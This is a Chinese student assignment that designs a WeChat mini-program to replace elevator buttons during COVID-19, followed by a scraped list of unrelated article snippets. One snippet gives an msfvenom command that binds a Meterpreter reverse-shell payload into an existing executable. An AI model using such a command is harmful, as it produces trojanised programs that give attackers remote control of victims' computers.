《软件工程概论》作业一:新冠疫情下软件产品设计
课程说明:《软件工程概论》为浙江科技学院2018级软件工程专业在大二下学期开设的必修课。课程使用《软件工程导论(第6版)》(张海藩等编著,清华大学出版社)作为教材。以《软件设计文档国家标准GBT8567-2006》作为原型,经过教师挑选和精简,布置为课程作业。专业同学组成3人小组,以第十一届中国大学生服务外包创新创业大赛企业命题类的赛题作为选题,进行文档撰写的练习。本人为所在小组的组长。
本作业说明:本次作业要求以新冠疫情作为背景,设计一款软件产品,提交一份包含原型图的设计方案。其中原型图使用Axure绘制。本小组提出的方案名称为:小区电梯实体按钮的软件替代方案(小区电梯按键模拟系统)。
本文章说明:本文章根据小组最终作品改编得到。本文章为终稿,若无特殊情况,将不再进行修改。
目录
- 背景介绍
- 现状分析
- 解决方案
- 概述
- 硬件配合与环境配合
- 前台软件概述
- 软件使用流程
背景介绍
2020年伊始,一场突如其来的新冠肺炎疫情打乱了人们的生活步伐。疫情自武汉爆发,并迅速扩展到全国各地,进而发展为全球范围内的大流行。此次流行疫情的病原体是与SARS冠状病毒同属一族的新型冠状病毒,具有潜伏期长、传染性强的特点,可通过呼吸道飞沫和接触传播。(“接触传播”是指飞沫沉积在物品表面,接触污染手后,再接触口腔、鼻腔、眼睛等黏膜,导致感染。)公共场所中的电梯按钮等公共设施,在日常生活中是频繁接触的对象,因而成为病毒的绝佳传播载体。如何避免此类高危接触行为,已成为疫情防控中一个不容忽视的问题。
现状分析
对于上述问题,物业(而非个人)可以采取以下几个解决方案:
| 方案概述 | 优点 | 缺点 |
|---|---|---|
| 提供纸巾等介质操作按钮,定期消毒 | 简单有效,实施难度小 | 非强制性,消耗大量纸巾,需要妥善处理废弃物、定期补充,可能有人私吞 |
| 派专人常驻电梯内,帮居民操作 | 节约物资,按钮使用人数变得十分有限 | 电梯外按钮无防护,夜班,工作量大,专人需要较强保护 |
| 小区门禁卡内写入楼层,电梯安装读卡器 | 利用了原有的硬件,无接触,绿色环保 | 忘带卡、前往其他楼层,无法替代“开门”“关门”按钮 |
| 电梯安装声控模块 | 硬件成本低,无接触 | 语音识别通病;说法会产生飞沫 |
| 替换为感应电梯按钮 | 无接触,覆盖所有按钮 | 成本高,容易误操作 |
解决方案
概述
用软件来代替电梯实体按钮,即用户通过操作软件,达到与按下电梯按钮相同的效果。这里的电梯按钮包括电梯轿厢内部的按钮与楼道电梯门外请求“上楼”或“下楼”的按钮,电梯轿厢内部的按钮又包括楼层选择按钮、开/关电梯门按钮和紧急求助按钮。传统的电梯使用场景中,电梯内、外的按钮在按下时发出的信号经过电路处理,统一输入到控制接口中,从而对电梯运行发出控制命令;在本解决方案中,用户操作软件,软件前台将用户命令发送到后台,后台再将命令输入到控制接口。所以,这里的“软件替代方案”包括前台的用户界面和后台与控制接口对接的部分,在本报告中仅阐述前台部分。
硬件配合与环境配合
- 电梯按钮区域设置屏蔽装置,阻止乘客接触电梯按钮。
- 在电梯内外设置小型显示屏(可以与屏蔽装置一体化设计,可以利用电梯内外原有的屏幕)。
- 通过各种方式(在屏蔽装置、显示屏或其他显目位置设置提示语,电梯口派遣人员等)引导乘客学习使用软件。
前台软件概述
由于微信用户基数大、微信登录方便快捷等原因,本方案采取微信小程序作为前台软件的载体。用户在使用软件前,需要明确自己的身份定位。身份定位有3种:小区单元楼住户,偶然访客和固定访客(来访频繁且到访楼层固定)。对于小区单元楼住户和固定访客,他们可以在进入程序后,进行微信登录授权,登记自己居住(到访)的楼层,之后每次进入程序都无需选择楼层,程序会自动判断用户的上楼/下楼意图。出于隐私保护需要,用户可以在程序中解除授权,清除登记的楼层信息。对于偶然访客,他们无需授权,但需要手动选择目的楼层。程序中的主要页面如下。
【身份选择页面】小程序加载过程中,自动判断用户的授权状态。若为未授权用户,则进入该页面,让用户选择“住户(固定访客)”或“偶然访客”身份(以下简称“住户”和“访客”身份)。
【访客乘电梯页面】 选择“访客”身份后进入的页面。页面上有电梯状态、电梯按钮模块和身份切换按钮。电梯按钮模块包括楼层选择子模块和 “开门”“关门”“紧急求助”按钮。楼层选择子模块包括楼层选择控件(按钮组或下拉列表等)和“确认”“取消”按钮。用户选择楼层后,点击“确认”,等待电梯将自己运送到目的楼层,在到达之前有一次更改机会(“确认”按钮变为“更改”按钮)。用户点击“取消”按钮,则视阶段跳转到完成页面或将用户运送到下一停靠楼层。电梯到达目的楼层后,若程序未被关闭,则会跳转到完成页面。
【住户乘电梯页面】 已授权用户在小程序加载完成之后进入的页面。其布局与访客乘电梯页面类似,不同之处在于:楼层选择控件为文本标签(系统自动判断用户要前往的楼层并显示),只需用户点击“确认”即可,确认之后只可取消,不可更改;如果用户要前往其他楼层,可点击身份切换按钮“访客(本次)”,切换到访客乘电梯页面;页面底部有选项卡组“乘电梯”(处于选定状态)和“个人中心”。
【楼层登记页面】 选择“住户”身份后进入的页面。用户在这个页面登记自己居住(到访)的楼层。登记完成后,进入 住户乘电梯页面。
【个人中心页面】在住户乘电梯页面点击“个人中心”选项卡进入的页面。用户可以在该页面修改居住(到访)楼层、解除授权等。
在各个页面中,均有一个部分提示当前页面剩余操作时间,如果用户未及时做出操作,程序将跳转到超时提示页面。

软件使用流程
- 乘客使用微信“扫一扫”功能扫描显示屏上的二维码之后,进入小程序。
- 用户是否授权?已授权,转步骤2.1;未授权,转步骤2.2。
- 2.1 系统自动给出目的楼层。要前往其他楼层,点击“访客(本次)”后转步骤2.2.2,否则转步骤3。
- 2.2 用户选择“住户”或“访客”身份。若选择“住户”身份,转步骤2.2.1;若选择“访客”身份,转步骤2.2.2;
- 2.2.1 程序请求微信登录授权。授权通过后,用户进行楼层登记,转步骤2.1。若用户拒绝授权,转步骤2.2.2。
- 2.2.2 用户手动选择目的楼层。要切换到“住户”身份,点击“切换到住户”后转步骤2.2.1,否则转步骤3。
- 用户点击“确定”,等待电梯到来。若已经在电梯内,转步骤4。
- 用户进入电梯或已经在电梯内,等待电梯将自己送到目的楼层或下一停靠楼层(当用户取消时)。在本阶段,“开门”“关门”“紧急求助”按钮可用。
- 用户走出电梯或已经在电梯外,结束。
注:上述步骤中的跳转和某些判断由系统自动完成;用户在步骤2.1、步骤2.2.2、步骤3、步骤4均可点击“取消”,视情况转步骤4或5;拥有更改机会的用户(见上)在步骤3、步骤4均可点击“更改”;用户在登录后到步骤5之前均可进入“个人中心”,更改居住楼层或解除授权。居住楼层的更改将在下一次乘坐电梯时生效。如果解除授权,视情况转步骤4或5。
相关文章:
《软件工程概论》作业一:新冠疫情下软件产品设计
课程说明:《软件工程概论》为浙江科技学院2018级软件工程专业在大二下学期开设的必修课。课程使用《软件工程导论(第6版)》(张海藩等编著,清华大学出版社)作为教材。以《软件设计文档国家标准GBT8567-2006》…...
大厂出来的人为什么不比你高效?
在最近参加的一个线下聚会上,有人问我:“我们单位有来自阿里、腾讯、华为这些大厂的人,为什么我没觉得他们做事比我们这些没大厂经历的人更有章法和效率?”你别说,这一问所反映的现象,与我在阿里巴巴工作时…...
71.【C语言】动态内存管理(重点)(4)
本文为数据结构打下基础 备注:数据结构需要掌握指针,结构体和动态内存管理 目录 6.常见的动态内存的错误 1.对空指针解引用 2.对动态空间的越界访问 3.对非动态内存空间进行free释放 4.使用free只释放开辟的内存空间的一部分 5.对同一块动态内存多次释放 6.动态开辟的…...
JavaScript 用HTML5约束验证API做表单验证
一、验证属性与通过与否 以下为在表单元素上的可用属性: required<boolean> 必填字段,接受布尔值,默认false pattern<string> 接受正则,用户输入的文本必须满足该正则表单元素对象上有checkValidity()方法ÿ…...
Unity 编辑器多开
开发多人联机的功能时大多数会遇到测试机不方便的问题。想多开同一个项目Uinty又禁止。。。因为在使用Unity Editor打开一个项目时,Unity Editor会在项目目录建立一个Temp目录,同时对里面的一个UnityLockfile文件进行加锁。SO...可以使用以下方法进行多开…...
【Spring Boot React】Spring Boot和React教程 完整版
【Spring Boot & React】Spring Boot和React教程 在B站找到一个不错的SpringBoot和React的学习视频,作者是amigoscode 【Spring Boot & React】Spring Boot和React教程 2023年更新版【Spring Boot React】价值79.9美元,全栈开发,搭…...
Linux中的多线程
Linux线程概念 在一个程序里的一个执行路线就叫做线程(thread)。更准确的定义是:线程是“一个进程内部的控制序 列” 进程是系统分配资源的基本实体 线程是CPU调度的基本单位 POSIX线程库 创建线程 功能:创建一个新的线程 原…...
《计算机原理与系统结构》学习系列
系列文章目录 一、计算机概要与技术 二、指令:计算机的语言(上) 三、指令:计算机的语言(中) 四、指令:计算机的语言(下) 五、计算机的算数运算(上&#…...
征程6 工具链常用工具和 API 整理(含新手示例)
1.引言 征程6 工具链目前已经提供了比较丰富的集成化工具和接口来支持模型的移植和量化部署,本帖将整理常用的工具/接口以及使用示例来供大家参考,相信这篇文章会提升大家对 征程6 工具链的使用理解以及效率。 干货满满,欢迎访问 2.hb_con…...
我有一张图,我怎么让midjourney按照这张图继续生成呢?
使用文字生成图片是一种基本的功能,但是还有一种场景,不是从文字生成图片,而是基于已有的一张图片生成另一张图片,这个时候,就需要以图生图的功能了。 以图生图:image to image generator 以图生图技术让我们见识到…...
MSF捆绑文件
msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe...
01_SQLite
文章目录 ** SQLite 存储各类和数据类型 **** SQLite 五种亲缘类型** SQLite 创建数据表删除数据表插入数据信息从数据表中获取数据,以结果表的形式返回数据(结果集)updatedistinctorder bygroup byhaving触发器删除一个触发器(tr…...
【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【下篇】
【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【下篇】 一、上篇回顾二、项目准备2.1 准备模板项目2.2 支持计时功能2.3 配置UART4引脚2.4 支持printf重定向到UART42.5 支持printf输出浮点数2.6 支持printf不带\r的换行2.7 支持ccache编译缓存 三、TFLM集成3.1 添加tfli…...
畅阅读小程序|畅阅读系统|基于java的畅阅读系统小程序设计与实现(源码+数据库+文档)
畅阅读系统小程序 目录 基于java的畅阅读系统小程序设计与实现 一、前言 二、系统功能设计 三、系统实现 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取: 博主介绍:✌️大厂码农|毕设布道师…...
【机器学习(十一)】糖尿病数据集分类预测案例分析—XGBoost分类算法—Sentosa_DSML社区版
文章目录 一、XGBoost算法二、Python代码和Sentosa_DSML社区版算法实现对比(一) 数据读入和统计分析(二)数据预处理(三)模型训练与评估(四)模型可视化 三、总结 一、XGBoost算法 关于集成学习中的XGBoost算法原理,已经进行了介绍与总结,相关内容可参考【…...
二分查找一>寻找峰值
1.题目: 2.解析: 暴力遍历代码:O(N),由于该题数据很少所以可以通过 暴力遍历:O(N),由于该题数据很少所以可以通过int index 0;for(int i 1; i < nums.length-1; i) {//某段区域内一直递增,更新就indexif(nums[i]…...
《Linux从小白到高手》理论篇:深入理解Linux的网络管理
今天继续宅家,闲来无事接着写。本篇详细深入介绍Linux的网络管理。 如你所知,在Linux中一切皆文件。网卡在 Linux 操作系统中用 ethX,是由 0 开始的正整数,比如 eth0、eth1… ethX。而普通猫和ADSL 的接口是 pppX,比如 ppp0 等。 …...
redis数据类型介绍
1. 字符串(String) 字符串是 Redis 中最基本的数据类型,它可以存储任何形式的字符串,包括文本、数字等。字符串类型的操作非常丰富,比如 SET、GET、INCR(自增)、DECR(自减࿰…...
一张照片变换古风写真,Flux如何做到?
前言 解锁图像创作新体验:ComfyUI指南 在AI图像生成领域,ComfyUI 已成为不可忽视的力量。它是基于Stable Diffusion的图像生成工具,提供了一个节点式图形用户界面(GUI),让用户可以通过简单的拖拽与配置来…...
医药行业的智能合同审查:大模型与AI赋能合规管理
随着医药行业的快速发展,尤其是在全球化背景下,企业在业务拓展、合作协议签订中需要处理大量复杂的合同。合同不仅是业务的法律保障,更是风险管理的重要工具。医药行业合同审查的复杂性源于其严格的合规性要求,包括与政府机构、研…...
多场景 OkHttpClient 管理器 - Android 网络通信解决方案
下面是一个完整的 Android 实现,展示如何创建和管理多个 OkHttpClient 实例,分别用于长连接、普通 HTTP 请求和文件下载场景。 <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas…...
IGP(Interior Gateway Protocol,内部网关协议)
IGP(Interior Gateway Protocol,内部网关协议) 是一种用于在一个自治系统(AS)内部传递路由信息的路由协议,主要用于在一个组织或机构的内部网络中决定数据包的最佳路径。与用于自治系统之间通信的 EGP&…...
服务器硬防的应用场景都有哪些?
服务器硬防是指一种通过硬件设备层面的安全措施来防御服务器系统受到网络攻击的方式,避免服务器受到各种恶意攻击和网络威胁,那么,服务器硬防通常都会应用在哪些场景当中呢? 硬防服务器中一般会配备入侵检测系统和预防系统&#x…...
使用 SymPy 进行向量和矩阵的高级操作
在科学计算和工程领域,向量和矩阵操作是解决问题的核心技能之一。Python 的 SymPy 库提供了强大的符号计算功能,能够高效地处理向量和矩阵的各种操作。本文将深入探讨如何使用 SymPy 进行向量和矩阵的创建、合并以及维度拓展等操作,并通过具体…...
Android第十三次面试总结(四大 组件基础)
Activity生命周期和四大启动模式详解 一、Activity 生命周期 Activity 的生命周期由一系列回调方法组成,用于管理其创建、可见性、焦点和销毁过程。以下是核心方法及其调用时机: onCreate() 调用时机:Activity 首次创建时调用。…...
管理学院权限管理系统开发总结
文章目录 🎓 管理学院权限管理系统开发总结 - 现代化Web应用实践之路📝 项目概述🏗️ 技术架构设计后端技术栈前端技术栈 💡 核心功能特性1. 用户管理模块2. 权限管理系统3. 统计报表功能4. 用户体验优化 🗄️ 数据库设…...
【JVM面试篇】高频八股汇总——类加载和类加载器
目录 1. 讲一下类加载过程? 2. Java创建对象的过程? 3. 对象的生命周期? 4. 类加载器有哪些? 5. 双亲委派模型的作用(好处)? 6. 讲一下类的加载和双亲委派原则? 7. 双亲委派模…...
在 Spring Boot 项目里,MYSQL中json类型字段使用
前言: 因为程序特殊需求导致,需要mysql数据库存储json类型数据,因此记录一下使用流程 1.java实体中新增字段 private List<User> users 2.增加mybatis-plus注解 TableField(typeHandler FastjsonTypeHandler.class) private Lis…...
macOS 终端智能代理检测
🧠 终端智能代理检测:自动判断是否需要设置代理访问 GitHub 在开发中,使用 GitHub 是非常常见的需求。但有时候我们会发现某些命令失败、插件无法更新,例如: fatal: unable to access https://github.com/ohmyzsh/oh…...
aardio 自动识别验证码输入
技术尝试 上周在发学习日志时有网友提议“在网页上识别验证码”,于是尝试整合图像识别与网页自动化技术,完成了这套模拟登录流程。核心思路是:截图验证码→OCR识别→自动填充表单→提交并验证结果。 代码在这里 import soImage; import we…...
